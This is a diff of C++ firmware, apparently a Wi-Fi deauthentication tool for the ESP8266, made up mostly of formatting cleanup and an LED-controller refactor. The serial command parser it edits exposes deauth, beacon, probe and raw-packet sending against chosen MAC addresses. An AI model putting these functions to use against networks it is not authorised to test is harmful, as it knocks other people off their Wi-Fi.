// add character to tmp string
|
||||
@@ -286,6 +294,7 @@ void SerialInterface::runCommand(String input) {
|
||||
continueTime = getTime(list->get(i));
|
||||
} else if (eqlsCMD(i, CLI_CHANNEL)) {
|
||||
i++;
|
||||
|
||||
if (!eqlsCMD(i, CLI_ALL)) {
|
||||
channelHop = false;
|
||||
channel = list->get(i).toInt();
|
||||
@@ -340,12 +349,12 @@ void SerialInterface::runCommand(String input) {
|
||||
int mode = 0; // aps = 0, stations = 1, names = 2
|
||||
int id = -1; // -1 = all, -2 name string
|
||||
|
||||
if (list->size() == 1 || eqlsCMD(1, CLI_ALL)) {
|
||||
if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {
|
||||
select ? scan.selectAll() : scan.deselectAll();
|
||||
return;
|
||||
}
|
||||
|
||||
if (list->size() == 2 || eqlsCMD(2, CLI_ALL)) id = -1;
|
||||
if ((list->size() == 2) || eqlsCMD(2, CLI_ALL)) id = -1;
|
||||
else if (!isInt(list->get(2))) id = -2;
|
||||
else id = list->get(2).toInt();
|
||||
|
||||
@@ -362,7 +371,7 @@ void SerialInterface::runCommand(String input) {
|
||||
if (mode == 0) select ? accesspoints.selectAll() : accesspoints.deselectAll();
|
||||
else if (mode == 1) select ? stations.selectAll() : stations.deselectAll();
|
||||
else if (mode == 2) select ? names.selectAll() : names.deselectAll();
|
||||
} else if (id == -2 && mode == 2) {
|
||||
} else if ((id == -2) && (mode == 2)) {
|
||||
select ? names.select(list->get(2)) : names.deselect(list->get(2));
|
||||
} else {
|
||||
parameterError(list->get(1) + SPACE + list->get(2));
|
||||
@@ -370,8 +379,7 @@ void SerialInterface::runCommand(String input) {
|
||||
}
|
||||
|
||||
// ===== ADD ===== //
|
||||
else if (list->size() >= 3 && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_SSID)) {
|
||||
|
||||
else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_SSID)) {
|
||||
// add ssid -s [-f]
|
||||
if (eqlsCMD(2, CLI_SELECT)) {
|
||||
bool force = eqlsCMD(3, CLI_FORCE);
|
||||
@@ -410,7 +418,7 @@ void SerialInterface::runCommand(String input) {
|
||||
// add name <name> [-ap <id>] [-s] [-f]
|
||||
// add name <name> [-st <id>] [-s] [-f]
|
||||
// add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s] [-f]
|
||||
else if (list->size() >= 3 && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_NAME)) {
|
||||
else if ((list->size() >= 3) && eqlsCMD(0, CLI_ADD) && eqlsCMD(1, CLI_NAME)) {
|
||||
String name = list->get(2);
|
||||
String mac;
|
||||
uint8_t channel = wifi_channel;
|
||||
@@ -447,13 +455,13 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== SET NAME ==== //
|
||||
// set name <id> <newname>
|
||||
else if (list->size() == 4 && eqlsCMD(0, CLI_SET) && eqlsCMD(1, CLI_NAME)) {
|
||||
else if ((list->size() == 4) && eqlsCMD(0, CLI_SET) && eqlsCMD(1, CLI_NAME)) {
|
||||
names.setName(list->get(2).toInt(), list->get(3));
|
||||
}
|
||||
|
||||
// ===== REPLACE ===== //
|
||||
// replace name <id> [-n <name>} [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]
|
||||
else if (list->size() >= 4 && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_NAME)) {
|
||||
else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_NAME)) {
|
||||
int id = list->get(2).toInt();
|
||||
String name = names.getName(id);
|
||||
String mac = names.getMacStr(id);
|
||||
@@ -480,7 +488,7 @@ void SerialInterface::runCommand(String input) {
|
||||
}
|
||||
|
||||
// replace ssid <id> [-n <name>} [-wpa2]
|
||||
else if (list->size() >= 3 && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_SSID)) {
|
||||
else if ((list->size() >= 3) && eqlsCMD(0, CLI_REPLACE) && eqlsCMD(1, CLI_SSID)) {
|
||||
int id = list->get(2).toInt();
|
||||
String name = ssids.getName(id);
|
||||
bool wpa2 = false;
|
||||
@@ -500,8 +508,8 @@ void SerialInterface::runCommand(String input) {
|
||||
// ===== REMOVE ===== //
|
||||
// remove <type> [-a]
|
||||
// remove <type> <id>
|
||||
else if (list->size() >= 2 && eqlsCMD(0, CLI_REMOVE)) {
|
||||
if (list->size() == 2 || (eqlsCMD(2, CLI_ALL))) {
|
||||
else if ((list->size() >= 2) && eqlsCMD(0, CLI_REMOVE)) {
|
||||
if ((list->size() == 2) || (eqlsCMD(2, CLI_ALL))) {
|
||||
if (eqlsCMD(1, CLI_SSID)) ssids.removeAll();
|
||||
else if (eqlsCMD(1, CLI_NAME)) names.removeAll();
|
||||
else if (eqlsCMD(1, CLI_AP)) accesspoints.removeAll();
|
||||
@@ -518,7 +526,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== RANDOM ===== //
|
||||
// enable random <interval>
|
||||
else if (eqlsCMD(0, CLI_ENABLE) && eqlsCMD(1, CLI_RANDOM) && list->size() == 3) {
|
||||
else if (eqlsCMD(0, CLI_ENABLE) && eqlsCMD(1, CLI_RANDOM) && (list->size() == 3)) {
|
||||
ssids.enableRandom(getTime(list->get(2)));
|
||||
}
|
||||
|
||||
@@ -535,18 +543,22 @@ void SerialInterface::runCommand(String input) {
|
||||
uint32_t i = 0;
|
||||
uint8_t multi = 1;
|
||||
uint8_t end = random(80, 99);
|
||||
|
||||
if (list->get(1).toInt() > 1) multi = list->get(1).toInt();
|
||||
|
||||
while (true) {
|
||||
if (i % 10 == 0 && i > 0) {
|
||||
if ((i % 10 == 0) && (i > 0)) {
|
||||
char s[100];
|
||||
sprintf(s, str(CLI_RICE_OUTPUT).c_str(), i / 10);
|
||||
prnt(String(s));
|
||||
|
||||
if ((i / 10) == end) {
|
||||
prnt(CLI_RICE_ERROR);
|
||||
prnt(String(random(16, 255), HEX));
|
||||
prnt(String(random(16, 255), HEX));
|
||||
prnt(String(random(16, 255), HEX));
|
||||
prntln(String(random(16, 255), HEX));
|
||||
|
||||
for (int i = 1; i <= 32; i++) {
|
||||
for (int i = 0; i < 2; i++) {
|
||||
for (int i = 1; i <= 8; i++) {
|
||||
@@ -575,13 +587,14 @@ void SerialInterface::runCommand(String input) {
|
||||
// ===== LOAD/SAVE ===== //
|
||||
// save [<type>] [<file>]
|
||||
// load [<type>] [<file>]
|
||||
else if ((eqlsCMD(0, CLI_LOAD) || eqlsCMD(0, CLI_SAVE)) && list->size() >= 1 && list->size() <= 3) {
|
||||
else if ((eqlsCMD(0, CLI_LOAD) || eqlsCMD(0, CLI_SAVE)) && (list->size() >= 1) && (list->size() <= 3)) {
|
||||
bool load = eqlsCMD(0, CLI_LOAD);
|
||||
|
||||
if (list->size() == 1 || eqlsCMD(1, CLI_ALL)) {
|
||||
if ((list->size() == 1) || eqlsCMD(1, CLI_ALL)) {
|
||||
load ? ssids.load() : ssids.save(false);
|
||||
load ? names.load() : names.save(false);
|
||||
load ? settings.load() : settings.save(false);
|
||||
|
||||
if (!load) scan.save(false);
|
||||
return;
|
||||
}
|
||||
@@ -640,12 +653,12 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== GET/SET ===== //
|
||||
// get <setting>
|
||||
else if (eqlsCMD(0, CLI_GET) && list->size() == 2) {
|
||||
else if (eqlsCMD(0, CLI_GET) && (list->size() == 2)) {
|
||||
prntln(settings.get(list->get(1).c_str()));
|
||||
}
|
||||
|
||||
// set <setting> <value>
|
||||
else if (eqlsCMD(0, CLI_SET) && list->size() == 3) {
|
||||
else if (eqlsCMD(0, CLI_SET) && (list->size() == 3)) {
|
||||
settings.set(list->get(1).c_str(), list->get(2));
|
||||
}
|
||||
|
||||
@@ -657,10 +670,9 @@ void SerialInterface::runCommand(String input) {
|
||||
// ===== STOP ===== //
|
||||
// stop [<mode>]
|
||||
else if (eqlsCMD(0, CLI_STOP)) {
|
||||
#ifdef DIGITAL_LED
|
||||
led.setMode(LED_MODE_IDLE, true);
|
||||
#endif
|
||||
if (list->size() >= 2 && !(eqlsCMD(1, CLI_ALL))) {
|
||||
led->setMode(led->LED_MODE::IDLE, true);
|
||||
|
||||
if ((list->size() >= 2) && !(eqlsCMD(1, CLI_ALL))) {
|
||||
for (int i = 1; i < list->size(); i++) {
|
||||
if (eqlsCMD(i, CLI_SCAN)) scan.stop();
|
||||
else if (eqlsCMD(i, CLI_ATTACK)) attack.stop();
|
||||
@@ -679,7 +691,9 @@ void SerialInterface::runCommand(String input) {
|
||||
else if (eqlsCMD(0, CLI_SYSINFO)) {
|
||||
prntln(CLI_SYSTEM_INFO);
|
||||
char s[150];
|
||||
sprintf(s,str(CLI_SYSTEM_OUTPUT).c_str(), 81920 - system_get_free_heap_size(), 100 - system_get_free_heap_size() / (81920 / 100), system_get_free_heap_size(), system_get_free_heap_size() / (81920 / 100), 81920);
|
||||
sprintf(s, str(CLI_SYSTEM_OUTPUT).c_str(), 81920 - system_get_free_heap_size(),
|
||||
100 - system_get_free_heap_size() / (81920 / 100), system_get_free_heap_size(),
|
||||
system_get_free_heap_size() / (81920 / 100), 81920);
|
||||
prntln(String(s));
|
||||
|
||||
prnt(CLI_SYSTEM_CHANNEL);
|
||||
@@ -697,12 +711,15 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
FSInfo fs_info;
|
||||
SPIFFS.info(fs_info);
|
||||
sprintf(s,str(CLI_SYSTEM_RAM_OUT).c_str(), fs_info.usedBytes, fs_info.usedBytes / (fs_info.totalBytes / 100), fs_info.totalBytes - fs_info.usedBytes, (fs_info.totalBytes - fs_info.usedBytes) / (fs_info.totalBytes / 100), fs_info.totalBytes);
|
||||
sprintf(s, str(
|
||||
CLI_SYSTEM_RAM_OUT).c_str(), fs_info.usedBytes, fs_info.usedBytes / (fs_info.totalBytes / 100), fs_info.totalBytes - fs_info.usedBytes,
|
||||
(fs_info.totalBytes - fs_info.usedBytes) / (fs_info.totalBytes / 100), fs_info.totalBytes);
|
||||
prnt(String(s));
|
||||
sprintf(s, str(CLI_SYSTEM_SPIFFS_OUT).c_str(), fs_info.blockSize, fs_info.pageSize);
|
||||
prnt(String(s));
|
||||
prntln(CLI_FILES);
|
||||
Dir dir = SPIFFS.openDir(String(SLASH));
|
||||
|
||||
while (dir.next()) {
|
||||
prnt(String(SPACE) + String(SPACE) + dir.fileName() + String(SPACE));
|
||||
File f = dir.openFile("r");
|
||||
@@ -722,10 +739,9 @@ void SerialInterface::runCommand(String input) {
|
||||
// ===== CLEAR ===== //
|
||||
// clear
|
||||
else if (eqlsCMD(0, CLI_CLEAR)) {
|
||||
for (int i = 0; i < 100; i++)
|
||||
prnt(HASHSIGN);
|
||||
for (int i = 0; i < 60; i++)
|
||||
prntln();
|
||||
for (int i = 0; i < 100; i++) prnt(HASHSIGN);
|
||||
|
||||
for (int i = 0; i < 60; i++) prntln();
|
||||
}
|
||||
|
||||
// ===== REBOOT ===== //
|
||||
@@ -744,7 +760,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== DELETE ==== //
|
||||
// delete <file> [<lineFrom>] [<lineTo>]
|
||||
else if (list->size() >= 2 && eqlsCMD(0, CLI_DELETE)) {
|
||||
else if ((list->size() >= 2) && eqlsCMD(0, CLI_DELETE)) {
|
||||
if (list->size() == 2) {
|
||||
// remove whole file
|
||||
if (removeFile(list->get(1))) {
|
||||
@@ -758,6 +774,7 @@ void SerialInterface::runCommand(String input) {
|
||||
// remove certain lines
|
||||
int beginLine = list->get(2).toInt();
|
||||
int endLine = list->size() == 4 ? list->get(3).toInt() : beginLine;
|
||||
|
||||
if (removeLines(list->get(1), beginLine, endLine)) {
|
||||
prnt(CLI_REMOVING_LINES);
|
||||
prnt(beginLine);
|
||||
@@ -773,7 +790,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== COPY ==== //
|
||||
// delete <file> <newfile>
|
||||
else if (list->size() == 3 && eqlsCMD(0, CLI_COPY)) {
|
||||
else if ((list->size() == 3) && eqlsCMD(0, CLI_COPY)) {
|
||||
if (copyFile(list->get(1), list->get(2))) {
|
||||
prntln(CLI_COPIED_FILES);
|
||||
} else {
|
||||
@@ -783,7 +800,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== RENAME ==== //
|
||||
// delete <file> <newfile>
|
||||
else if (list->size() == 3 && eqlsCMD(0, CLI_RENAME)) {
|
||||
else if ((list->size() == 3) && eqlsCMD(0, CLI_RENAME)) {
|
||||
if (renameFile(list->get(1), list->get(2))) {
|
||||
prntln(CLI_RENAMED_FILE);
|
||||
} else {
|
||||
@@ -793,13 +810,15 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== WRITE ==== //
|
||||
// write <file> <commands>
|
||||
else if (list->size() >= 3 && eqlsCMD(0, CLI_WRITE)) {
|
||||
else if ((list->size() >= 3) && eqlsCMD(0, CLI_WRITE)) {
|
||||
String path = list->get(1);
|
||||
String buf = String();
|
||||
|
||||
int listSize = list->size();
|
||||
|
||||
for (int i = 2; i < listSize; i++) {
|
||||
buf += list->get(i);
|
||||
|
||||
if (i < listSize - 1) buf += SPACE;
|
||||
}
|
||||
|
||||
@@ -814,13 +833,16 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== REPLACE ==== //
|
||||
// replace <file> <line> <new-content>
|
||||
else if (list->size() >= 4 && eqlsCMD(0, CLI_REPLACE)) {
|
||||
else if ((list->size() >= 4) && eqlsCMD(0, CLI_REPLACE)) {
|
||||
int line = list->get(2).toInt();
|
||||
String tmp = String();
|
||||
|
||||
for (int i = 3; i < list->size(); i++) {
|
||||
tmp += list->get(i);
|
||||
|
||||
if (i < list->size() - 1) tmp += SPACE;
|
||||
}
|
||||
|
||||
if (replaceLine(list->get(1), line, tmp)) {
|
||||
prnt(CLI_REPLACED_LINE);
|
||||
prnt(line);
|
||||
@@ -834,14 +856,17 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== RUN ==== //
|
||||
// run <file> [continue <num>]
|
||||
else if (!executing && list->size() >= 2 && eqlsCMD(0, CLI_RUN)) {
|
||||
else if (!executing && (list->size() >= 2) && eqlsCMD(0, CLI_RUN)) {
|
||||
executing = true;
|
||||
execPath = list->get(1);
|
||||
|
||||
if (eqlsCMD(2, CLI_CONTINUE)) {
|
||||
continuously = true;
|
||||
continueTime = 10000;
|
||||
|
||||
if (list->size() == 3) {
|
||||
continueTime = getTime(list->get(3));
|
||||
|
||||
if (continueTime < 1000) continueTime = 1000;
|
||||
}
|
||||
}
|
||||
@@ -849,7 +874,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== PRINT ==== //
|
||||
// print <file> [<lines>]
|
||||
else if (list->size() >= 2 && eqlsCMD(0, CLI_PRINT)) {
|
||||
else if ((list->size() >= 2) && eqlsCMD(0, CLI_PRINT)) {
|
||||
readFileToSerial(list->get(1), eqlsCMD(2, CLI_LINE));
|
||||
prntln();
|
||||
}
|
||||
@@ -868,7 +893,7 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== SEND ===== //
|
||||
// send deauth <apMac> <stMac> <rason> <channel>
|
||||
else if (eqlsCMD(0, CLI_SEND) && list->size() == 6 && eqlsCMD(1, CLI_DEAUTH)) {
|
||||
else if (eqlsCMD(0, CLI_SEND) && (list->size() == 6) && eqlsCMD(1, CLI_DEAUTH)) {
|
||||
uint8_t apMac[6];
|
||||
uint8_t stMac[6];
|
||||
strToMac(list->get(2), apMac);
|
||||
@@ -883,13 +908,13 @@ void SerialInterface::runCommand(String input) {
|
||||
}
|
||||
|
||||
// send beacon <mac> <ssid> <ch> [wpa2]
|
||||
else if (eqlsCMD(0, CLI_SEND) && list->size() >= 5 && eqlsCMD(1, CLI_BEACON)) {
|
||||
else if (eqlsCMD(0, CLI_SEND) && (list->size() >= 5) && eqlsCMD(1, CLI_BEACON)) {
|
||||
uint8_t mac[6];
|
||||
strToMac(list->get(2), mac);
|
||||
uint8_t channel = list->get(4).toInt();
|
||||
String ssid = list->get(3);
|
||||
for (int i = ssid.length(); i < 32; i++)
|
||||
ssid += SPACE;
|
||||
|
||||
for (int i = ssid.length(); i < 32; i++) ssid += SPACE;
|
||||
prnt(CLI_SENDING_BEACON);
|
||||
prnt(list->get(3));
|
||||
prntln(DOUBLEQUOTES);
|
||||
@@ -897,13 +922,13 @@ void SerialInterface::runCommand(String input) {
|
||||
}
|
||||
|
||||
// send probe <mac> <ssid> <ch>
|
||||
else if (eqlsCMD(0, CLI_SEND) && list->size() == 5 && eqlsCMD(1, CLI_PROBE)) {
|
||||
else if (eqlsCMD(0, CLI_SEND) && (list->size() == 5) && eqlsCMD(1, CLI_PROBE)) {
|
||||
uint8_t mac[6];
|
||||
strToMac(list->get(2), mac);
|
||||
uint8_t channel = list->get(4).toInt();
|
||||
String ssid = list->get(3);
|
||||
for (int i = ssid.length(); i < 32; i++)
|
||||
ssid += SPACE;
|
||||
|
||||
for (int i = ssid.length(); i < 32; i++) ssid += SPACE;
|
||||
prnt(CLI_SENDING_PROBE);
|
||||
prnt(list->get(3));
|
||||
prntln(DOUBLEQUOTES);
|
||||
@@ -918,8 +943,8 @@ void SerialInterface::runCommand(String input) {
|
||||
uint16_t packetSize = packetStr.length() / 2;
|
||||
uint8_t packet[packetSize];
|
||||
|
||||
for (int i = 0; i < packetSize; i++)
|
||||
packet[i] = strtoul((packetStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
for (int i = 0; i < packetSize; i++) packet[i] = strtoul((packetStr.substring(i * 2,
|
||||
i * 2 + 2)).c_str(), NULL, 16);
|
||||
|
||||
if (attack.sendPacket(packet, packetSize, wifi_channel, 10)) {
|
||||
prntln(CLI_CUSTOM_SENT);
|
||||
@@ -931,52 +956,42 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
// ===== LED ===== //
|
||||
// led <r> <g> <b> [<brightness>]
|
||||
else if (list->size() >= 4 && list->size() <= 5 && eqlsCMD(0, CLI_LED)) {
|
||||
else if ((list->size() >= 4) && (list->size() <= 5) && eqlsCMD(0, CLI_LED)) {
|
||||
if (list->size() == 4) {
|
||||
#ifdef DIGITAL_LED
|
||||
led.setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt());
|
||||
#endif
|
||||
led->setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt(), true);
|
||||
} else {
|
||||
#ifdef DIGITAL_LED
|
||||
led.setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt(), list->get(4).toInt());
|
||||
#endif
|
||||
led->setColor(list->get(1).toInt(), list->get(2).toInt(), list->get(3).toInt(), list->get(4).toInt(), true);
|
||||
}
|
||||
}
|
||||
|
||||
// led <#rrggbb> [<brightness>]
|
||||
else if (list->size() >= 2 && list->size() <= 3 && eqlsCMD(0, CLI_LED) && list->get(1).charAt(0) == HASHSIGN) {
|
||||
else if ((list->size() >= 2) && (list->size() <= 3) &&
|
||||
eqlsCMD(0, CLI_LED) && (list->get(1).charAt(0) == HASHSIGN)) {
|
||||
uint8_t c[3];
|
||||
strToColor(list->get(1), c);
|
||||
|
||||
if (list->size() == 2) {
|
||||
#ifdef DIGITAL_LED
|
||||
led.setColor(c[0], c[1], c[2]);
|
||||
#endif
|
||||
led->setColor(c[0], c[1], c[2], true);
|
||||
} else {
|
||||
#ifdef DIGITAL_LED
|
||||
led.setColor(c[0], c[1], c[2], list->get(2).toInt());
|
||||
#endif
|
||||
led->setColor(c[0], c[1], c[2], list->get(2).toInt(), true);
|
||||
}
|
||||
}
|
||||
|
||||
// led <enable/disable>
|
||||
else if (list->size() == 2 && eqlsCMD(0, CLI_LED)) {
|
||||
else if ((list->size() == 2) && eqlsCMD(0, CLI_LED)) {
|
||||
if (eqlsCMD(1, CLI_ENABLE)) {
|
||||
#ifdef DIGITAL_LED
|
||||
led.tempEnable();
|
||||
#endif
|
||||
led->tempEnable();
|
||||
} else if (eqlsCMD(1, CLI_DISABLE)) {
|
||||
#ifdef DIGITAL_LED
|
||||
led.tempDisable();
|
||||
#endif
|
||||
led->tempDisable();
|
||||
} else {
|
||||
parameterError(list->get(1));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// ===== DELAY ===== //
|
||||
else if (list->size() == 2 && eqlsCMD(0, CLI_DELAY)) {
|
||||
else if ((list->size() == 2) && eqlsCMD(0, CLI_DELAY)) {
|
||||
uint32_t endTime = currentTime + getTime(list->get(1));
|
||||
|
||||
while (currentTime < endTime) {
|
||||
// ------- loop function ----- //
|
||||
currentTime = millis();
|
||||
@@ -985,12 +1000,10 @@ void SerialInterface::runCommand(String input) {
|
||||
scan.update(); // run scan
|
||||
attack.update(); // run attacks
|
||||
ssids.update(); // run random mode, if enabled
|
||||
#ifdef DIGITAL_LED
|
||||
led.update(); // update LED color
|
||||
#endif
|
||||
led->update(); // update LED color
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && currentTime - autosaveTime > settings.getAutosaveTime()) {
|
||||
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
@@ -1005,11 +1018,14 @@ void SerialInterface::runCommand(String input) {
|
||||
else if (eqlsCMD(0, CLI_DRAW)) {
|
||||
int height = 25;
|
||||
int width = 2;
|
||||
|
||||
if (list->size() >= 2) height = list->get(1).toInt();
|
||||
|
||||
if (list->size() >= 3) width = list->get(2).toInt();
|
||||
double scale = scan.getScaleFactor(height);
|
||||
|
||||
prnt(String(DASH) + String(DASH) + String(DASH) + String(DASH) + String(VERTICALBAR)); // ----|
|
||||
|
||||
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
|
||||
for (int k = 0; k < width; k++) prnt(EQUALS);
|
||||
}
|
||||
@@ -1017,8 +1033,12 @@ void SerialInterface::runCommand(String input) {
|
||||
|
||||
for (int i = height; i >= 0; i--) {
|
||||
char s[200];
|
||||
if (i == height) sprintf(s,str(CLI_DRAW_OUTPUT).c_str(), scan.getMaxPacket() > (uint32_t)height ? scan.getMaxPacket() : (uint32_t)height);
|
||||
else if (i == height / 2) sprintf(s,str(CLI_DRAW_OUTPUT).c_str(), scan.getMaxPacket() > (uint32_t)height ? scan.getMaxPacket()/2 : (uint32_t)height/2);
|
||||
|
||||
if (i == height) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),
|
||||
scan.getMaxPacket() > (uint32_t)height ? scan.getMaxPacket() : (uint32_t)height);
|
||||
else if (i == height / 2) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(),
|
||||
scan.getMaxPacket() >
|
||||
(uint32_t)height ? scan.getMaxPacket() / 2 : (uint32_t)height / 2);
|
||||
else if (i == 0) sprintf(s, str(CLI_DRAW_OUTPUT).c_str(), 0);
|
||||
else {
|
||||
s[0] = SPACE;
|
||||
@@ -1030,6 +1050,7 @@ void SerialInterface::runCommand(String input) {
|
||||
prnt(String(s));
|
||||
|
||||
prnt(VERTICALBAR);
|
||||
|
||||
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
|
||||
if (scan.getPackets(j) * scale > i) {
|
||||
for (int k = 0; k < width; k++) prnt(HASHSIGN);
|
||||
@@ -1048,14 +1069,17 @@ void SerialInterface::runCommand(String input) {
|
||||
prntln(VERTICALBAR);
|
||||
|
||||
prnt(String(SPACE) + String(SPACE) + String(SPACE) + String(SPACE) + String(VERTICALBAR));
|
||||
|
||||
for (int j = 0; j < SCAN_PACKET_LIST_SIZE; j++) {
|
||||
char s[6];
|
||||
String helper = String(PERCENT) + DASH + (String)width + D;
|
||||
|
||||
if (j == 0) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE - 1);
|
||||
else if (j == SCAN_PACKET_LIST_SIZE / 2) sprintf(s, helper.c_str(), SCAN_PACKET_LIST_SIZE / 2);
|
||||
else if (j == SCAN_PACKET_LIST_SIZE - 1) sprintf(s, helper.c_str(), 0);
|
||||
else {
|
||||
int k;
|
||||
|
||||
for (k = 0; k < width; k++) s[k] = SPACE;
|
||||
s[k] = ENDOFLINE;
|
||||
}
|
||||
@@ -1072,7 +1096,7 @@ void SerialInterface::runCommand(String input) {
|
||||
String password = settings.getPassword();
|
||||
int ch = wifi_channel;
|
||||
bool hidden = settings.getHidden();
|
||||
bool captivePortal = settings.getCaptivePortal();;
|
||||
bool captivePortal = settings.getCaptivePortal();
|
||||
|
||||
for (int i = 1; i < list->size(); i++) {
|
||||
if (eqlsCMD(i, CLI_PATH)) {
|
||||
@@ -1130,6 +1154,7 @@ void SerialInterface::runCommand(String input) {
|
||||
prnt(input);
|
||||
prntln(CLI_ERROR_NOT_FOUND_B);
|
||||
// some debug stuff
|
||||
|
||||
/*
|
||||
Serial.println(list->get(0));
|
||||
for(int i=0;i<input.length();i++){
|
||||
@@ -1139,5 +1164,3 @@ void SerialInterface::runCommand(String input) {
|
||||
*/
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -16,22 +16,9 @@ extern "C" {
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "DigitalLed.h"
|
||||
#include "RGBLed.h"
|
||||
#include "Neopixel.h"
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
extern DigitalLed led;
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
extern RGBLed led;
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
extern Neopixel led;
|
||||
#endif
|
||||
#include "LEDController.h"
|
||||
|
||||
extern LEDController* led;
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
@@ -94,7 +81,4 @@ class SerialInterface {
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef SerialInterface_h
|
||||
@@ -10,6 +10,7 @@ void Settings::load() {
|
||||
|
||||
// check & read file
|
||||
String json = getJsonStr();
|
||||
|
||||
checkFile(FILE_PATH, json);
|
||||
JsonObject& data = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
@@ -18,36 +19,59 @@ void Settings::load() {
|
||||
|
||||
// AP
|
||||
if (data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
||||
|
||||
if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
||||
|
||||
if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
||||
|
||||
if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
||||
|
||||
if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
||||
|
||||
// GENERAL
|
||||
if (data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
||||
|
||||
if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
||||
|
||||
if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
||||
|
||||
if (data.containsKey(keyword(S_SERIALINTERFACE))) setSerialInterface(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
||||
|
||||
if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
|
||||
|
||||
if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
||||
|
||||
if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
|
||||
|
||||
if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
||||
|
||||
if (data.containsKey(keyword(S_MAXCH))) setMaxCh(data.get<uint8_t>(keyword(S_MAXCH)));
|
||||
|
||||
if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
||||
|
||||
if (data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
||||
|
||||
// SCAN
|
||||
if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
||||
|
||||
if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
||||
|
||||
// ATTACK
|
||||
if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
||||
|
||||
if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
||||
if(data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(S_DEAUTHSPERTARGET)));
|
||||
|
||||
if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(
|
||||
S_DEAUTHSPERTARGET)));
|
||||
|
||||
if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
||||
|
||||
